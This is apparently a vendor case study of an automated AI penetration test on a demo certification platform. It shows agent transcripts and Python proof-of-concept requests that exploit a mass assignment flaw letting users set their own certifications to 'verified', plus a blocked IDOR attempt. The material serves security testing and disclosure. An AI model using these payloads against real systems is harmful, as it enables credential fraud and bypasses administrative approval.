Home>Case Studies>Mass Assignment: Self-Verification Bypass
High Severity — Confirmed

Self-Verification Bypass: How SQUR Found a Business Logic Flaw No Scanner Would Catch

SQUR's Pentester agent discovered that users could promote their own certifications to "verified" status by exploiting a mass assignment flaw in the update endpoint — a business logic vulnerability that requires understanding what the application does, not just how it responds. A separate Vulnerability Verifier agent independently confirmed the finding using a different account.

Target: CertTracker (Certification Management Platform)
Endpoint: PUT /api/certifications/{id}
Vulnerability: Mass Assignment → Self-Verification
Risk: High
5:30
Minutes to Discovery
1
Critical Field Exposed
4
Fields Confirmed Protected
2
Independent Confirmations

The Hypothesis

While testing the CertTracker API, SQUR's Pentester agent formed a hypothesis: the certification endpoints might accept fields that should be restricted to administrators. If the status field — which controls whether a certification is "active", "verified", or "revoked" — were writable by regular users, the entire verification workflow would be meaningless.

This isn't the kind of vulnerability a scanner checks for. There's no signature, no known CVE, no pattern to match. It requires understanding the business purpose of each field and reasoning about what would happen if the wrong person could change it.

Agent Thought 18:38:27
Pentester
Testing for mass assignment vulnerabilities in both the creation (POST) and update (PUT) endpoints for certifications. I am attempting to inject restricted fields like 'status', 'user_id', and 'id' to see if the backend incorrectly processes them, which could allow an attacker to change the status of a certification (e.g., to 'verified' or 'revoked') or reassign it to another user.
Tool Execution 18:38:27
execute_python
Python — Mass Assignment Test (POST + PUT)
# 1. Attempt Mass Assignment in POST /api/certifications/
payload_post = {
    "cert_type_id": 2,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "certificate_number": "MASS-ASSIGN-POST",
    "status": "verified",  # Restricted field
    "user_id": 1,          # Restricted field
    "id": 999              # Restricted field
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)

# 2. Create a clean cert, then test PUT with restricted fields
payload_put = {
    "cert_type_id": 3,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "status": "revoked",   # Restricted field
    "user_id": 1           # Restricted field
}
response_put = requests.put(f"{base_url}/api/certifications/{target_id}", json=payload_put, headers=headers)
Tool Response 18:38:49
execute_python
The mass assignment test for /api/certifications/ was inconclusive due to a business logic constraint. The POST request containing restricted fields (status: 'verified', user_id: 1, id: 999) failed with a 400 Bad Request and the error message '{"detail":"You already have an active certification of this type"}'. This prevented the creation of the test certification and the subsequent PUT update test.
Result — Blocked by Business Logic
POST /api/certifications/ → 400 Bad Request
"You already have an active certification of this type"

Test inconclusive — cannot create cert to test PUT endpoint

Hitting a Wall — and Adapting

A scanner would stop here. The request returned 400, no vulnerability detected, move on. But the Pentester understood why it failed — the test user already held certifications of every type, triggering the "one per type" business rule. The actual mass assignment question was still unanswered.

What followed was three minutes of iterative problem-solving: querying existing certs, hitting a KeyError on the wrong field name, discovering the API uses credential_id instead of certificate_number, and finally restructuring the test to work within the application's constraints.

Agent Thought 18:39:08
Pentester
Checking current certifications and available types to bypass the 'duplicate certification' constraint. This will allow me to select a 'cert_type_id' that I don't already have or delete existing ones to proceed with the mass assignment testing.
Tool Response 18:39:24
execute_python
The attempt to list current certifications and available types failed due to a Python 'KeyError: certificate_number'. While the request to '/api/certifications/my' successfully returned 5 certifications, the script crashed during iteration because at least one certification object lacked the 'certificate_number' field.
Result — Script Error
KeyError: 'certificate_number'

→ Field is actually named 'credential_id' in API responses
→ User has 5 active certifications (types 1-5)
Agent Thought 18:39:50
Pentester
Executing the mass assignment test by attempting to inject restricted fields ('status', 'user_id', 'id') into both POST and PUT requests for certifications. I've cleared a certification type to allow the POST request and am targeting an existing certification for the PUT request. This will provide definitive evidence of whether the application is vulnerable to mass assignment.
Tool Execution 18:39:50
execute_python
Python — Restructured Mass Assignment Test
# 1. Delete certification ID 6 (Type 1) to free it up for POST testing
requests.delete(f"{base_url}/api/certifications/6", headers=headers)

# 2. POST with restricted fields — does the API accept them?
payload_post = {
    "cert_type_id": 1,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "status": "verified",  # Should be admin-only
    "user_id": 1,          # Should be system-assigned
    "id": 9999             # Should be auto-generated
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)

# 3. PUT with restricted fields — does the API accept them?
payload_put = {
    "cert_type_id": 2,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "status": "revoked",   # Should be admin-only
    "user_id": 1           # Should be immutable
}
response_put = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)

The Discovery

The results split cleanly: the POST endpoint correctly ignored all restricted fields. But the PUT endpoint told a different story.

Tool Response 18:40:11
execute_python
A mass assignment vulnerability was confirmed in the 'PUT /api/certifications/{id}' endpoint. While the 'POST /api/certifications/' endpoint correctly ignored restricted fields (status, user_id, id), the 'PUT' endpoint allowed the 'status' field to be modified. Specifically, updating certification ID 7 with 'status': 'revoked' was successful (200 OK), and the change was verified via a subsequent GET request. The 'user_id' field appears to be protected, as it remained '7' despite the attempt to change it to '1'.
Result — Vulnerability Confirmed
POST /api/certifications/ → 201 Created
  status: "active"    (ignored "verified" — SAFE)
  user_id: 7          (ignored "1" — SAFE)
  id: 12              (ignored "9999" — SAFE)

PUT /api/certifications/7 → 200 OK
  status: "revoked"   (accepted "revoked" — VULNERABLE)
  user_id: 7          (ignored "1" — SAFE)

GET /api/certifications/7 → Confirmed: status persisted as "revoked"

The status field was writable. But "revoked" isn't the dangerous direction. The Pentester immediately understood the implication: if users can set any status, they can set "verified".

Agent Thought 18:40:16
Pentester
Testing if the mass assignment vulnerability in the PUT endpoint allows a user to set their certification status to 'verified'. This would be a high-impact finding as it bypasses the intended verification process, allowing users to falsely claim verified certifications.
Tool Execution 18:40:16
execute_python
Python — Self-Verification Attempt
# The critical question: can a user set their own status to "verified"?
payload_put = {
    "cert_type_id": 2,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "certificate_number": "MASS-ASSIGN-VERIFY",
    "notes": "Testing self-verification",
    "verification_url": "http://example.com",
    "status": "verified"
}

response = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Updated Status: {response.json().get('status')}")
Tool Response 18:40:34
execute_python
A critical mass assignment vulnerability was confirmed on the 'PUT /api/certifications/{id}' endpoint. An authenticated user successfully changed the status of their certification (ID: 7) to 'verified' by including the '"status": "verified"' field in the request body. The server returned a 200 OK status, and the response body confirmed the status update. This vulnerability allows users to bypass the official verification process and self-approve their own certifications, undermining the integrity of the platform.
Result — Self-Verification Confirmed
PUT /api/certifications/7  →  200 OK

{
  "id": 7,
  "status": "verified",     ← USER SET THIS THEMSELVES
  "user_id": 7,
  "cert_type_id": 2,
  ...
}

[!] CRITICAL: User can self-verify certifications via mass assignment!

Scoping the Damage

Finding a vulnerability is half the work. Accurately scoping it is the other half. The Pentester didn't stop at confirming the status field was writable — it systematically tested what wasn't writable, producing a precise vulnerability map rather than a vague alarm.

Agent Thought 18:40:38
Pentester
Testing if the mass assignment vulnerability can be combined with an IDOR attack to modify certifications belonging to other users. Although previous IDOR tests on this endpoint failed, it's important to verify if including the 'status' field or other parameters changes the authorization logic.
Tool Response 18:40:54
execute_python
An attempt to exploit IDOR in conjunction with mass assignment by modifying another user's certification (ID: 1) via 'PUT /api/certifications/1' failed. The server returned a 403 Forbidden status with the message '{"detail":"Access denied"}'. This indicates that the application correctly validates ownership of the certification before processing the update, preventing cross-user exploitation of the mass assignment vulnerability.
Result — IDOR Blocked (403 Forbidden)
PUT /api/certifications/1 (another user's cert) → 403 "Access denied"

Ownership check enforced — vulnerability limited to own certifications

Complete Field Map

After testing every restricted field individually, the Pentester produced a precise vulnerability boundary.

PUT — status
{"status": "verified"}
Writable — VULNERABLE
PUT — user_id
{"user_id": 1}
Ignored — Protected
PUT — cert_type_id
{"cert_type_id": 1} (already owned)
Ignored — Protected
PUT — created_at
{"created_at": "2020-01-01T00:00:00"}
Ignored — Protected
POST — status
{"status": "verified"}
Ignored — Protected
POST — user_id
{"user_id": 1}
Ignored — Protected
POST — id
{"id": 9999}
Ignored — Protected
PUT — IDOR (other user)
PUT /api/certifications/1
403 Forbidden — Blocked

Business Impact

  • Self-verification: any authenticated user can promote their own certifications to "verified" status, bypassing administrative oversight
  • Trust erosion: the entire certification verification workflow becomes meaningless if users can self-approve
  • Compliance risk: organizations relying on CertTracker for credential validation cannot trust the "verified" badge
  • Scope limitation: only the user's own certifications are affected (IDOR correctly blocked) and only the status field is writable

Independent Verification

SQUR doesn't trust its own findings until a second agent confirms them. The Vulnerability Verifier — a separate, independent agent with its own credentials — received the finding and attempted to reproduce it from scratch.

Agent Thought 18:42:33
Vulnerability Verifier
I will attempt to reproduce the Mass Assignment vulnerability by creating a certification and then trying to update its 'status' field via a PUT request. This will confirm if the application allows users to self-verify their certifications.
Tool Response 18:42:48
execute_python
The attempt to verify Mass Assignment failed due to application business logic constraints. The script first attempted to create a new certification, but the server returned a 400 Bad Request with the message: "You already have an active certification of this type". Because no new certification was created, the subsequent PUT request was sent to an invalid URL (ending in /None), resulting in a 422 Unprocessable Entity error.
Result — Same Obstacle, Different Agent
POST /api/certifications/ → 400 "You already have an active certification of this type"
PUT /api/certifications/None → 422 (no valid cert ID to test)

Verifier hits the same business logic wall as the Pentester

The Verifier hit the exact same "one per type" constraint. Just like the Pentester, it adapted — querying the user's existing certifications to find a valid target ID.

Agent Thought 18:42:51
Vulnerability Verifier
I need to find an existing certification ID for the user to test the PUT request, as the creation of a new one failed due to a duplicate type constraint.
Tool Response 18:43:04
execute_python
Successfully authenticated as 'user_2f4a0672' and retrieved certification data from '/api/certifications/my'. A single certification was identified with ID '11' (Type: CISSP, Status: 'active'). This ID provides a valid target for testing Mass Assignment on the PUT '/api/certifications/{id}' endpoint.
Tool Execution 18:43:09
execute_python
Python — Independent Reproduction (Different User Account)
# Authenticated as user_2f4a0672 (NOT the Pentester's account)
cert_id = 11  # CISSP certification, status: "active"

update_payload = {
    "cert_type_id": 1,
    "issue_date": "2024-01-01",
    "expiry_date": "2025-01-01",
    "certificate_number": "XSS-VERIFY-1",
    "status": "verified"
}

response = requests.put(f"{certs_url}{cert_id}", json=update_payload, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Response: {json.dumps(response.json(), indent=2)}")

if response.status_code == 200 and response.json().get("status") == "verified":
    print("\nSUCCESS: Mass Assignment confirmed. Status changed to 'verified'.")
Tool Response 18:43:21
execute_python
Mass Assignment vulnerability confirmed on the '/api/certifications/{id}' endpoint. After authenticating as 'user_2f4a0672', a PUT request was sent to '/api/certifications/11' with a payload including '"status": "verified"'. The server responded with a 200 OK and the returned object showed the status had been successfully updated to 'verified'. This confirms that users can manipulate internal state fields that should typically be read-only or restricted to administrative roles.
Result — Independently Confirmed
PUT /api/certifications/11  →  200 OK

{
  "id": 11,
  "status": "verified",     ← SECOND USER, SAME RESULT
  "user_id": 6,
  "cert_type_id": 1,
  ...
}

SUCCESS: Mass Assignment confirmed. Status changed to 'verified'.
Agent Thought 18:43:49
Vulnerability Verifier
I have technically verified the Mass Assignment vulnerability in the certification update endpoint. I confirmed that an authenticated user can change their certification status to 'verified' by including the field in a PUT request, while other sensitive fields like 'user_id' and 'created_at' remain protected.
Tool Execution 18:43:49
update_finding
update_finding
Key Arguments
Finding Confirmed
"finding_id": "ede82993-2c72-4048-b961-3c3d6d999ba5"
"status": "ai_accepted"
"risk_level": "high"
"status_reason": "Deterministic PoC confirms that the 'status' field
  can be modified by a standard user via the PUT endpoint,
  allowing for self-verification of certifications."

Why Scanners Miss This

A DAST scanner testing PUT /api/certifications/7 with extra fields would see a 200 OK response. It might even notice the status field changed. But it cannot determine whether that change matters.

Understanding that status: "verified" represents a trust boundary violation — that this field controls an administrative approval workflow, that users shouldn't be able to bypass it, that the business impact is certification fraud — requires domain understanding that no signature-based tool possesses.

The Pentester also demonstrated adaptive reasoning: when the initial test was blocked by business logic (duplicate cert constraint), it understood why it failed, restructured the test, and persisted until it reached a definitive answer. A scanner would have logged "400 Bad Request" and moved on.

Business Logic Flaws — The Blind Spot of Automated Security

Traditional security tools excel at pattern matching: known CVEs, common misconfigurations, signature-based detections. But the most dangerous vulnerabilities in modern applications are often business logic flaws — cases where the application works exactly as coded, but the code doesn't enforce the rules the business requires.

This mass assignment vulnerability is a textbook example. The API endpoint responded correctly to every request. The HTTP semantics were valid. The authentication was enforced. The only problem was that the status field — a field that controls a critical trust workflow — was unintentionally exposed in the update schema.

SQUR found it because its agents reason about application semantics, not just protocol behavior. The Pentester understood that "verified" status has administrative meaning. It adapted when blocked by business logic constraints. It mapped the precise boundary between vulnerable and protected fields. And the Vulnerability Verifier independently confirmed the finding using a completely different user account.

The result: a verified, precisely scoped, high-severity finding with a complete proof of concept — discovered, confirmed, and documented without human intervention.

This finding is part of the demo pentest every user sees when signing up to SQUR. Create a free account to explore the full results and understand how SQUR works.

Get Started Free